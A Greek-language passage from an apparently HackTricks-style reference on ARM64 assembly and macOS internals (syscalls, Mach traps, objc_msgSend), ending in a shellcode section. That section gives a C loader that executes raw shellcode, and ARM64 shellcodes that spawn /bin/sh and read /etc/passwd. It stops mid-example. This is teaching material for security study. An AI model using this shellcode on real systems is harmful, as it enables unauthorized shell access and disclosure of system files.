  • svc : Κάντε μια κλήση συστήματος. Σημαίνει "Supervisor Call". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, μεταβαίνει από τη λειτουργία χρήστη σε λειτουργία πυρήνα και πηγαίνει σε μια συγκεκριμένη τοποθεσία στη μνήμη όπου βρίσκεται ο κωδικός χειρισμού κλήσεων συστήματος του πυρήνα.

  • Παράδειγμα:

mov x8, 93  ; Φόρτωση του αριθμού κλήσης συστήματος για έξοδο (93) στον καταχωρητή x8.
mov x0, 0   ; Φόρτωση του κωδικού κατάστασης εξόδου (0) στον καταχωρητή x0.
svc 0       ; Κλήση του συστήματος.

Πρόλογος Συνάρτησης

  1. Αποθήκευση του καταχωρητή σύνδεσης και του δείκτη πλαισίου στο στοίβα:

stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
  1. Ρύθμιση του νέου δείκτη πλαισίου: mov x29, sp (ρυθμίζει τον νέο δείκτη πλαισίου για την τρέχουσα συνάρτηση)

  2. Δημιουργία χώρου στη στοίβα για τοπικές μεταβλητές (αν χρειάζεται): sub sp, sp, <size> (όπου <size> είναι ο αριθμός των byte που χρειάζονται)

Επίλογος Συνάρτησης

  1. Αποδέσμευση τοπικών μεταβλητών (αν έχουν αποδεσμευτεί): add sp, sp, <size>

  2. Αποκατάσταση του καταχωρητή σύνδεσης και του δείκτη πλαισίου:

ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
  1. Επιστροφή: ret (επιστρέφει τον έλεγχο στον καλούντα χρησιμοποιώντας τη διεύθυνση στο μητρώο σύνδεσης)

Κατάσταση Εκτέλεσης AARCH32

Το Armv8-A υποστηρίζει την εκτέλεση 32-bit προγραμμάτων. AArch32 μπορεί να εκτελείται σε ένα από δύο σύνολα εντολών: A32 και T32 και μπορεί να αλλάξει μεταξύ τους μέσω interworking. Προνομιακά 64-bit προγράμματα μπορούν να προγραμματίσουν την εκτέλεση 32-bit προγραμμάτων εκτελώντας μια μεταφορά επιπέδου εξαίρεσης σε χαμηλότερο προνομιακό 32-bit. Σημειώστε ότι η μετάβαση από 64-bit σε 32-bit συμβαίνει με χαμηλότερο επίπεδο εξαίρεσης (για παράδειγμα, ένα 64-bit πρόγραμμα σε EL1 που ενεργοποιεί ένα πρόγραμμα σε EL0). Αυτό γίνεται ρυθμίζοντας το bit 4 του SPSR_ELx ειδικού μητρώου σε 1 όταν το νήμα διαδικασίας AArch32 είναι έτοιμο να εκτελεστεί και το υπόλοιπο του SPSR_ELx αποθηκεύει το AArch32 CPSR. Στη συνέχεια, η προνομιακή διαδικασία καλεί την εντολή ERET ώστε ο επεξεργαστής να μεταβεί σε AArch32 εισερχόμενος σε A32 ή T32 ανάλογα με το CPSR**.**

Η interworking συμβαίνει χρησιμοποιώντας τα J και T bits του CPSR. J=0 και T=0 σημαίνει A32 και J=0 και T=1 σημαίνει T32. Αυτό μεταφράζεται βασικά σε ρύθμιση του χαμηλότερου bit σε 1 για να υποδείξει ότι το σύνολο εντολών είναι T32. Αυτό ρυθμίζεται κατά τη διάρκεια των εντολών κλάδου interworking, αλλά μπορεί επίσης να ρυθμιστεί άμεσα με άλλες εντολές όταν το PC ρυθμίζεται ως το μητρώο προορισμού. Παράδειγμα:

Ένα άλλο παράδειγμα:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Registers

Υπάρχουν 16 32-bit καταχωρητές (r0-r15). Από r0 έως r14 μπορούν να χρησιμοποιηθούν για οποιαδήποτε λειτουργία, ωστόσο μερικοί από αυτούς είναι συνήθως δεσμευμένοι:

  • r15: Μετρητής προγράμματος (πάντα). Περιέχει τη διεύθυνση της επόμενης εντολής. Στην A32 τρέχουσα + 8, στην T32, τρέχουσα + 4.

  • r11: Δείκτης πλαισίου

  • r12: Καταχωρητής κλήσης εντός διαδικασίας

  • r13: Δείκτης στοίβας

  • r14: Καταχωρητής σύνδεσης

Επιπλέον, οι καταχωρητές υποστηρίζονται σε banked registries. Αυτά είναι μέρη που αποθηκεύουν τις τιμές των καταχωρητών επιτρέποντας την εκτέλεση γρήγορων εναλλαγών πλαισίου στη διαχείριση εξαιρέσεων και σε προνομιακές λειτουργίες για να αποφευχθεί η ανάγκη να αποθηκεύονται και να επαναφέρονται οι καταχωρητές κάθε φορά. Αυτό γίνεται με την αποθήκευση της κατάστασης του επεξεργαστή από το CPSR στο SPSR της λειτουργίας του επεξεργαστή στην οποία λαμβάνεται η εξαίρεση. Κατά την επιστροφή από την εξαίρεση, το CPSR επαναφέρεται από το SPSR.

CPSR - Current Program Status Register

Στην AArch32 το CPSR λειτουργεί παρόμοια με το PSTATE στην AArch64 και αποθηκεύεται επίσης στο SPSR_ELx όταν λαμβάνεται μια εξαίρεση για να αποκατασταθεί αργότερα η εκτέλεση:

Τα πεδία είναι χωρισμένα σε ορισμένες ομάδες:

  • Καταχωρητής Κατάστασης Εφαρμογής (APSR): Αριθμητικές σημαίες και προσβάσιμες από EL0

  • Καταχωρητές Κατάστασης Εκτέλεσης: Συμπεριφορά διαδικασίας (διαχειρίζεται από το OS).

Καταχωρητής Κατάστασης Εφαρμογής (APSR)

  • Οι σημαίες N, Z, C, V (όπως στην AArch64)

  • Η σημαία Q: Ρυθμίζεται σε 1 όποτε συμβαίνει κορεσμός ακέραιων αριθμών κατά την εκτέλεση μιας εξειδικευμένης εντολής αριθμητικής κορεσμού. Μόλις ρυθμιστεί σε 1, θα διατηρήσει την τιμή μέχρι να ρυθμιστεί χειροκίνητα σε 0. Επιπλέον, δεν υπάρχει καμία εντολή που να ελέγχει την τιμή της έμμεσα, πρέπει να γίνει διαβάζοντάς την χειροκίνητα.

  • GE (Μεγαλύτερο ή ίσο) Σημαίες: Χρησιμοποιείται σε SIMD (Μοναδική Εντολή, Πολλαπλά Δεδομένα) λειτουργίες, όπως "παράλληλη πρόσθεση" και "παράλληλη αφαίρεση". Αυτές οι λειτουργίες επιτρέπουν την επεξεργασία πολλών σημείων δεδομένων σε μια μόνο εντολή.

Για παράδειγμα, η εντολή UADD8 προσθέτει τέσσερις ζεύξεις byte (από δύο 32-bit τελεστές) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν 32-bit καταχωρητή. Στη συνέχεια ρυθμίζει τις σημαίες GE στο APSR με βάση αυτά τα αποτελέσματα. Κάθε σημαία GE αντιστοιχεί σε μία από τις προσθέσεις byte, υποδεικνύοντας αν η πρόσθεση για εκείνο το ζεύγος byte υπερχειλίζει.

Η εντολή SEL χρησιμοποιεί αυτές τις σημαίες GE για να εκτελέσει συνθήκες.

Καταχωρητές Κατάστασης Εκτέλεσης

  • Τα bits J και T: J πρέπει να είναι 0 και αν T είναι 0 χρησιμοποιείται το σύνολο εντολών A32, και αν είναι 1, χρησιμοποιείται το T32.

  • Καταχωρητής Κατάστασης IT Block (ITSTATE): Αυτά είναι τα bits από 10-15 και 25-26. Αποθηκεύουν συνθήκες για εντολές μέσα σε μια ομάδα με πρόθεμα IT.

  • E bit: Υποδεικνύει την endianness.

  • Bits Μάσκας Λειτουργίας και Εξαίρεσης (0-4): Καθορίζουν την τρέχουσα κατάσταση εκτέλεσης. Το 5ο υποδεικνύει αν το πρόγραμμα εκτελείται ως 32bit (ένα 1) ή 64bit (ένα 0). Τα άλλα 4 αντιπροσωπεύουν τη λειτουργία εξαίρεσης που χρησιμοποιείται αυτή τη στιγμή (όταν συμβαίνει μια εξαίρεση και διαχειρίζεται). Ο αριθμός που έχει ρυθμιστεί υποδεικνύει την τρέχουσα προτεραιότητα σε περίπτωση που προκληθεί άλλη εξαίρεση ενώ αυτή διαχειρίζεται.

  • AIF: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bits A, I, F. Αν A είναι 1 σημαίνει ότι θα προκληθούν ασύγχρονοι τερματισμοί. Το I ρυθμίζει την αντίδραση σε εξωτερικά αιτήματα διακοπής υλικού (IRQs). και το F σχετίζεται με Γρήγορα Αιτήματα Διακοπής (FIRs).

macOS

BSD syscalls

Δείτε το syscalls.master. Οι κλήσεις συστήματος BSD θα έχουν x16 > 0.

Mach Traps

Δείτε στο syscall_sw.c τον πίνακα mach_trap_table και στο mach_traps.h τα πρωτότυπα. Ο μέγιστος αριθμός Mach traps είναι MACH_TRAP_TABLE_COUNT = 128. Οι Mach traps θα έχουν x16 < 0, οπότε πρέπει να καλέσετε τους αριθμούς από την προηγούμενη λίστα με ένα μείον: _kernelrpc_mach_vm_allocate_trap είναι -10.

Μπορείτε επίσης να ελέγξετε libsystem_kernel.dylib σε έναν αποσυμπιεστή για να βρείτε πώς να καλέσετε αυτές τις (και BSD) κλήσεις συστήματος:

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

Σημειώστε ότι Ida και Ghidra μπορούν επίσης να αποσυμπιέσουν συγκεκριμένα dylibs από την κρυφή μνήμη απλά περνώντας την κρυφή μνήμη.

Μερικές φορές είναι πιο εύκολο να ελέγξετε τον αποσυμπιεσμένο κώδικα από το libsystem_kernel.dylib παρά να ελέγξετε τον πηγαίο κώδικα επειδή ο κώδικας αρκετών syscalls (BSD και Mach) παράγεται μέσω scripts (ελέγξτε τα σχόλια στον πηγαίο κώδικα) ενώ στο dylib μπορείτε να βρείτε τι καλείται.

machdep calls

Το XNU υποστηρίζει έναν άλλο τύπο κλήσεων που ονομάζεται εξαρτώμενες από τη μηχανή. Οι αριθμοί αυτών των κλήσεων εξαρτώνται από την αρχιτεκτονική και ούτε οι κλήσεις ούτε οι αριθμοί είναι εγγυημένο ότι θα παραμείνουν σταθεροί.

comm page

Αυτή είναι μια σελίδα μνήμης που ανήκει στον πυρήνα και είναι χαρτογραφημένη στο χώρο διευθύνσεων κάθε διεργασίας χρήστη. Σκοπός της είναι να διευκολύνει τη μετάβαση από τη λειτουργία χρήστη στον χώρο του πυρήνα πιο γρήγορα από τη χρήση syscalls για υπηρεσίες πυρήνα που χρησιμοποιούνται τόσο πολύ ώστε αυτή η μετάβαση να είναι πολύ αναποτελεσματική.

Για παράδειγμα, η κλήση gettimeofdate διαβάζει την τιμή του timeval απευθείας από τη σελίδα comm.

objc_msgSend

Είναι πολύ συνηθισμένο να βρείτε αυτή τη λειτουργία να χρησιμοποιείται σε προγράμματα Objective-C ή Swift. Αυτή η λειτουργία επιτρέπει την κλήση μιας μεθόδου ενός αντικειμένου Objective-C.

Παράμετροι (περισσότερες πληροφορίες στα docs):

  • x0: self -> Δείκτης στην περίπτωση

  • x1: op -> Επιλογέας της μεθόδου

  • x2... -> Υπόλοιπες παράμετροι της καλούμενης μεθόδου

Έτσι, αν βάλετε σημείο διακοπής πριν από τον κλάδο σε αυτή τη λειτουργία, μπορείτε εύκολα να βρείτε τι καλείται στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από το NSConcreteTask που θα εκτελέσει μια εντολή):

# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

Ρυθμίζοντας τη μεταβλητή περιβάλλοντος NSObjCMessageLoggingEnabled=1 είναι δυνατή η καταγραφή όταν καλείται αυτή η συνάρτηση σε ένα αρχείο όπως το /tmp/msgSends-pid.

Επιπλέον, ρυθμίζοντας OBJC_HELP=1 και καλώντας οποιοδήποτε δυαδικό, μπορείτε να δείτε άλλες μεταβλητές περιβάλλοντος που θα μπορούσατε να χρησιμοποιήσετε για να log όταν συμβαίνουν ορισμένες ενέργειες Objc-C.

Όταν καλείται αυτή η συνάρτηση, είναι απαραίτητο να βρείτε τη μέθοδο που καλείται από την υποδεικνυόμενη παρουσία, για αυτό γίνονται διαφορετικές αναζητήσεις:

  • Εκτέλεση αισιόδοξης αναζήτησης cache:

  • Αν είναι επιτυχής, ολοκληρώθηκε

  • Απόκτηση runtimeLock (ανάγνωση)

  • Αν (realize && !cls->realized) πραγματοποιήστε την πραγματοποίηση της κλάσης

  • Αν (initialize && !cls->initialized) πραγματοποιήστε την αρχικοποίηση της κλάσης

  • Δοκιμάστε την cache της κλάσης:

  • Αν είναι επιτυχής, ολοκληρώθηκε

  • Δοκιμάστε τη λίστα μεθόδων της κλάσης:

  • Αν βρεθεί, γεμίστε την cache και ολοκληρώθηκε

  • Δοκιμάστε την cache της υπερκλάσης:

  • Αν είναι επιτυχής, ολοκληρώθηκε

  • Δοκιμάστε τη λίστα μεθόδων της υπερκλάσης:

  • Αν βρεθεί, γεμίστε την cache και ολοκληρώθηκε

  • Αν (resolver) δοκιμάστε τον επιλυτή μεθόδων και επαναλάβετε από την αναζήτηση κλάσης

  • Αν είστε ακόμα εδώ (= όλα τα άλλα έχουν αποτύχει) δοκιμάστε τον προωθητή

Shellcodes

Για να μεταγλωττίσετε:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Για να εξαγάγετε τα bytes:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Για νεότερες εκδόσεις macOS:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
Κώδικας C για δοκιμή του shellcode

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Ληφθέν από [**εδώ**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) και εξηγημένο.

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='με adr'>

```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

Διαβάστε με cat

Ο στόχος είναι να εκτελέσετε execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), έτσι ώστε το δεύτερο επιχείρημα (x1) να είναι ένα πίνακας παραμέτρων (που στη μνήμη σημαίνει μια στοίβα διευθύνσεων).

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Καλέστε την εντολή με sh από ένα fork ώστε η κύρια διαδικασία να μην τερματιστεί

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main